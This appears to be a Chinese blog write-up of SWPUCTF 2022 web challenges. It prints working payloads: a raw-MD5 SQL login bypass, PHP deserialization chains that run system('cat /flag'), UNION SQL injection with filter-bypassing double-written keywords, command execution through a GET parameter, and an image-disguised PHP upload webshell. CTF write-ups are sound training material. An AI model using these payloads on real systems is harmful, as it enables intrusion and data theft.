SWPUCTF 2022 新生赛

发布时间 2023-09-24 14:38:03作者: i3p31L

Web

奇妙的MD5

打开得到一个md5加密窗口

放入ffifdyop,这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

然后看源代码

截图.png

可以用数组绕过或者上网查md5值相同的两个数

?x[]=1&y[]=7

然后到这关

截图.png

即可

截图.png

1z_unserialize

截图.png

一眼构建lyh类,其中lt作为system,lly作为cat /flag构建即可

<?php

class lyh{

public $url = 'NSSCTF.com';

public $lt;

public $lly;

function __destruct()

{

$a = $this->lt;

$a($this->lly);

}

}

$o = new lyh();

$o->lt='system';

$o->lly='cat /flag';

$q = serialize($o);

print_r($q);

?>

numgame

首先你得知道::双冒号运算符

在PHP中,::是一个双冒号运算符,也被称为范围解析操作符或静态访问操作符。它用于访问类中的静态属性、静态方法和常量,或调用父类的静态方法。

在类名后面使用::,可以直接访问类的静态成员或调用静态方法,而无需创建类的实例。这使得我们无需实例化一个类就可以访问和操作类级别的成员。

上代码:

class MyClass {

public static $myStaticProperty = 10;

}

echo MyClass::$myStaticProperty; // 输出 10

首先这个题,打开网站检查,然后看到提示访问NsScTf.php,然后代码审计

3. 接下来,定义了一个名为`nss`的类,其中有一个名为`ctf()`的静态方法。包含了hint2.php

4. 在接下来的代码中,通过`isset($_GET['p'])`检查`$_GET['p']`是否存在。如果存在,就进入下一层判断。

5. 在第6行代码中,使用`preg_match()`函数对`$_GET['p']`进行正则匹配,判断其是否含有字母`n`或`c`。如果匹配成功,就输出`"no"`并结束脚本的执行。

6. 在第7行代码中,使用了`call_user_func()`函数,根据`$_GET['p']`的值调用对应的函数。`call_user_func()`函数用于调用一个回调函数。这里回调函数的名称由`$_GET['p']`指定。

截图.png

构造payload:?p=NSS::Ctf (因为有过滤)

然后提示NSS2成功

截图.png

ez_ez_unserialize

打开题目,代码审计

<?php

class X

{

public $x = __FILE__;

function __construct($x)

{

$this->x = $x;

}

function __wakeup()

{

if ($this->x !== __FILE__) {

$this->x = __FILE__;

}

}

function __destruct()

{

highlight_file($this->x);

//flag is in fllllllag.php

}

}

if (isset($_REQUEST['x'])) {

@unserialize($_REQUEST['x']);

} else {

highlight_file(__FILE__);

}

其中__FILE__是一个 PHP 预定义常量,它用于获取当前 PHP 脚本文件的完整路径。在这个代码中,

$this->x 和 $this->x = __FILE__; 语句将 $this->x 设置为当前 PHP 脚本文件的路径。

但这并不是重点,构造x=‘fllllllag.php’即可,因为可以highlight_file()

payload:<?php

class X

{

public $x = __FILE__;

function __construct($x)

{

$this->x = $x;

}

function __wakeup()

{

if ($this->x !== __FILE__) {

$this->x = __FILE__;

}

}

function __destruct()

{

highlight_file($this->x);

//flag is in fllllllag.php

}

}

$o = new X('fllllllag.php');

$p = serialize($o);

print_r($p);

?>

js_sign

打开题目,发现只有个check,查看JS文件

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{

flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"

if (btoa(flag.value) == 'dGFwY29kZQ==') {

alert("you got hint!!!");

} else {

alert("fuck off !!");

}

})

dGFwY29kZQ==进行base64解密得到tapcode(敲击码)

http://www.hiencode.com/tapcode.html

把flag放敲击码解密,注意,解密前要把空格取消

得到

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

设计python代码,将括号内的字符去掉,用正则表达式

import re

s ='n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)'

output1 = re.sub(r'\([a-zA-Z]+\)','',s)

output2 = output1.replace(" ","")

print(output2)

得到nssctfyoufindflagbytapcode

最后补充一下

正则表达式是一种强大的文本匹配和处理工具,它允许你按照一定的模式在文本中查找、替换和提取信息。下面是一些常用的正则表达式元字符和用法:

1. `.`:匹配除换行符以外的任意字符。

2. `*`:匹配前面的字符零次或多次。

3. `+`:匹配前面的字符一次或多次。

4. `?`:匹配前面的字符零次或一次。

5. `^`:匹配字符串的开头。

6. `$`:匹配字符串的结尾。

7. `[]`:字符集,匹配其中的任意一个字符。

· `[0-9]` 匹配任意数字。

· `[a-zA-Z]` 匹配任意字母。

8. `[^]`:反向字符集,匹配不在其中的任意字符。

9. `|`:或,匹配左边或右边的表达式。

10. `()`:捕获分组,用于提取匹配的子串。

11. `\d`:匹配任意数字,等同于 `[0-9]`。

12. `\w`:匹配任意字母、数字或下划线,等同于 `[a-zA-Z0-9_]`。

13. `\s`:匹配任意空白字符,包括空格、制表符和换行符。

14. `{n}`:匹配前面的字符恰好 n 次。

15. `{n,}`:匹配前面的字符至少 n 次。

16. `{n,m}`:匹配前面的字符至少 n 次但不超过 m 次。

以下是一些示例:

- 匹配一个IP地址:`\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}`

- 匹配一个电子邮件地址:`[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}`

- 匹配一个URL:`(http|https|ftp)://[^\s/$.?#].[^\s]*`

正则表达式可以应用于文本搜索、字符串处理、数据验证等各种情境。虽然强大,但也需要谨慎使用,因为复杂的正则表达式可能会难以维护和理解。

xff

打开题目:

Must be accessed from Xiaohong's own computer.

X-Forwarded-For:127.0.0.1

Must be jump from Home Page.

Referer:127.0.0.1

ez_sql

一眼sql注入,用post的万能密码:'='

截图.png

都是错的

尝试常规注入,发现or被过滤

nss=1'//oorrder//by/**/4#可以,判断为3列

union也是双写可以绕过

payload:nss=0'//uunionnion//select/**/1,2,3#

注意这里是0比较好,-1还是不会报错

截图.png

nss=0'//uunionnion//select/**/1,database(),3#

得到NSS_db

nss=0'//uunionnion//select/**/1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like('NSS_db')),3#

得到NSS_tb,users表,注意information的or被过滤了

nss=0'//uunionnion//select/**/1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like('NSS_tb')),3#

得到id,Secr3t,flll444g列

nss=0'//uunionnion//select/**/1,(select(group_concat(Secr3t))from(NSS_tb)),3#

得到NSSCTF{bce87b1f-b77f-44e2-982e-d901287046d7}

webdog1__start

截图.png

查看源代码需要我们要

变量等于md5的变量

这里的思路是让他们都为0e来触发0e计数法接着相等

这里我们用0e215962017

截图.png

提示robots.txt文件

截图.png

http://node5.anna.nssctf.cn:28152/F1l1l1l1l1lag.php?get=system('ls%09/');

截图.png

因为有字符限制,我也不会了,只能看大佬的

http://node5.anna.nssctf.cn:28152/F1l1l1l1l1lag.php?get=system('nl%09/*');

funny_php

考代码审计

主要用num[]=1数组绕过第一个即可

截图.png

ez_1zpop

打开题目,一眼system('ls')加反序列化

$b($this->title);要想变成system('ls')

则$b='system',所以要new一个fin类,然后给fin类的a赋值‘system’,title赋值‘ls /’

但是要调用fmm方法,就必须用lt类的tostring方法,并且绕过wakeup。

接下来就是构造了

<?php

error_reporting(0);

class lt

{

   public $impo;

   public $md51='s878926199a';

   public $md52='s155964671a';

}

class fin

{

   public $a='system';

   public $url = 'https://www.ctfer.vip';

   public $title='ls /';

}

$a = new lt();  

$a->impo = new fin();//注意这里是impo,不是$impo

echo serialize($a);

payload:/?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls%20/";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

file_master

打开题目,有一个查询,查询一下index.php

得到源代码

<?php

    session_start();

    if(isset($_GET['filename'])){

        echo file_get_contents($_GET['filename']);

    }

    else if(isset($_FILES['file']['name'])){

        $whtie_list = array("image/jpeg");

        $filetype = $_FILES["file"]["type"];

        if(in_array($filetype,$whtie_list)){

            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);

            if($img_info){

                if($img_info[0]<=20 && $img_info[1]<=20){

                    if(!is_dir("upload/".session_id())){

                        mkdir("upload/".session_id());

                    }

                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];

                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);

                    $content = file_get_contents($save_path);

                    if(preg_match("/php/i",$content)){

                        sleep(5);

                        @unlink($save_path);

                        die("hacker!!!");

                    }else{

                        echo "upload success!! upload/your_sessionid/your_filename";

                    }

                }else{

                    die("image hight and width must less than 20");

                }

            }else{

                die("invalid file head");

            }

        }else{

            die("invalid file type!image/jpeg only!!");

        }

    }else{

        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';

    }

?>

由于限制了宽高,要在php文件一开始加上:

define height 1

#define width 1

又因为限制了php字符

所以用短标签代替:

<?= ?>

构造payload:

define height 1

#define width 1

<?= system('cat /flag');

得到upload/your_sessionid/your_filename

检查-network-sessionid

截图.png

得到flag:NSSCTF{66e0d47f-61ea-4a51-bae0-d7c2af8a6ca0}